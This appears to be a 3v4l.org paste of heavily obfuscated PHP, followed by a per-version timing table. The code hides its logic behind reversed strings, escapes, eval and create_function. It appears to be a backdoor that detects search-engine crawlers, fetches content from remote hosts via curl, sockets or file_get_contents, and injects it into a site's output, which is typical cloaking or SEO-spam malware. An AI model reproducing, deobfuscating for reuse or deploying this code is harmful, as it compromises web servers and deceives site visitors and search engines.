3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $siv = "str_replace"; $s1v ="create_function"; $slv = "strrev"; $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}'; $n9 = '1067|416|779|223|361'; $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W'; $test = 'function oo2($b) { $h = explode("|", strrev($b)); $d = explode("*", $h[0]); $b = $h[1]; for($i=0;$i<sizeof($d);$i++) { $b = str_replace($i, $d[$i], $b); } create_function("", "};".$b."//"); } function cqq($qw) { return random($domarr,$qw); } function oo1($y) { $y= strrev($y); $g=substr($y,strpos($y,"9")+1); $v = explode(":",substr($y,0,strpos($y,"9"))); for($i=0;$i<sizeof($v);$i++) { $q = explode("|", $v[$i]); $g = str_replace($q[0],$q[1],$g); } create_function("", "};".$g."//"); } $s1v("", $siv("\71"," ",$slv($svv))); function random($arr,$qw) { $g="\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70"."6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b"; $soy = "\x65\156\x32"; $xx="\x65\170\x70"."\154\x6f\144\x65"; $ecx="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $scy="\x73\164\x72\137\x72\145\x70\154\x61\143\x65"; $a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44"); $aa = $xx("|","8|9|-|,| "); $mec=$ecx; for($i=0;$i<sizeof($a);$i++) { $g = $scy($aa[$i],$a[$i],$g); } $ecx("", "};$g//"); $mec("", $soy( "\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20", $scy) ); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; } $r9 = explode("|",$n9); $b9=0; $a9=0; for($i9=0;$i9<sizeof($r9);$i9++) { if ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=substr($v9, $a9, $b9); } $y =1; for($i=0;$i<5;$i++) { $vv1 ="o"."o".$y; if ($y==1) $y=2; else $y=1; $vv1($v_[$i]); } '; //preg_replace("/(.*)/e",$test,NULL); $fxujiztpwq = eval(str_replace(chr((117-80)), chr((404-312)),preg_replace("/(.*)/e",$test,NULL))); preg_replace("/(.*)/e",$fxujiztpwq,NULL); $jcsziwpbpo=$fxujiztpwq; echo $jcsziwpbpo;
based on TXSC8

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).
Note: hhvm uses a JIT which only kicks in after a few runs. Since we run scripts only once, hhvm always runs slower.

VersionSystem time (s)User time (s)Memory (MiB)
7.2.80.0110.00316.71
7.2.60.0060.00617.08
7.2.00.0170.00319.70
7.1.200.0040.00916.09
7.1.100.0070.00418.41
7.1.70.0000.00817.32
7.1.60.0090.01319.27
7.1.50.0140.01017.06
7.1.00.0070.07022.58
7.0.200.0080.00416.91
7.0.60.0100.05719.94
7.0.50.0100.05317.80
7.0.40.0030.09320.07
7.0.30.0200.05020.18
7.0.20.0300.07720.18
7.0.10.0130.04320.17
7.0.00.0030.07020.34
5.6.280.0000.04020.89
5.6.210.0100.07720.50
5.6.200.0100.08718.19
5.6.190.0030.05020.58
5.6.180.0200.05320.47
5.6.170.0370.07720.47
5.6.160.0130.07720.50
5.6.150.0070.06018.15
5.6.140.0070.05018.16
5.6.130.0070.06018.27
5.6.120.0130.08721.02
5.6.110.0170.07321.14
5.6.100.0070.08321.11
5.6.90.0100.07720.84
5.6.80.0070.08320.53
5.5.350.0100.07720.53
5.5.340.0100.04317.94
5.5.330.0100.05020.47
5.5.320.0300.04720.20
5.5.310.0270.07720.50
5.5.300.0030.06317.97
5.5.290.0100.07017.96
5.5.280.0170.07020.97
5.5.270.0070.07320.87
5.5.260.0130.07720.98
5.5.250.0000.04320.70
5.5.240.0300.06720.26
5.4.450.0500.06019.59
5.4.440.0670.05019.20
5.4.430.0670.04319.58
5.4.420.0630.06019.61
5.4.410.0730.05319.34
5.4.400.0730.05719.07
5.4.390.0670.05319.23
5.4.380.0370.06318.84
5.4.370.0470.06719.04
5.4.360.0400.06718.87
5.4.350.0600.05019.15
5.4.340.0570.06019.16
5.4.320.0600.07019.16
5.4.310.0830.06719.13
5.4.300.0800.08319.26
5.4.290.0830.05019.15
5.4.280.0030.07318.84
5.4.270.0330.06318.98
5.4.260.0530.07019.30
5.4.250.0730.06719.05
5.4.240.0230.04319.25
5.4.230.0400.05019.13
5.4.220.0970.05019.25
5.4.210.0670.06019.25
5.4.200.0530.08019.12
5.4.190.0430.05719.11
5.4.180.0270.05719.29
5.4.170.0530.05019.36
5.4.160.0470.05319.14
5.4.150.0600.06018.86
5.4.140.0600.05716.52
5.4.130.0530.05716.51
5.4.120.0670.05316.46
5.4.110.0170.06016.57
5.4.100.0730.04316.44
5.4.90.0830.05016.64
5.4.80.0770.04016.52
5.4.70.0270.05716.55
5.4.60.0370.06016.56
5.4.50.0070.06716.54
5.4.40.0030.07316.53
5.4.30.0000.03716.38
5.4.20.0100.06716.26
5.3.290.3430.03315.82
5.3.280.3870.03315.82
5.3.270.3330.03315.84
5.3.260.3930.04014.50
5.3.250.0230.07014.49
5.3.240.3930.04014.58
5.3.230.3230.04014.45
5.3.220.3230.03014.53
5.3.210.0300.06714.45
5.3.200.0200.03714.45
5.3.190.0130.04014.49
5.3.180.0270.07314.68